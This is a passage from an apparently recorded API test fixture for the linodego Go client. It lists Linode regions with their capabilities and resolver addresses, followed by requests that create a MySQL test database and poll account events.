"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:20:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-mysql-test-def547m5mw2qwc5","region":"ap-west","type":"g6-nanode-1","engine":"mysql/8","allow_list":["203.0.113.1","192.0.1.0/24"],"cluster_size":3}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances method: POST response: body: '{"allow_list": ["192.0.1.0/24", "203.0.113.1/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210765-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210765-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210765, "label": "go-mysql-test-def547m5mw2qwc5", "members": {}, "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "provisioning", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 6, "duration": 4, "frequency": "weekly", "hour_of_day": 5, "pending": []}, "used_disk_size_gb": null, "version": "8", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "707" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:20:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:21:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:21:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 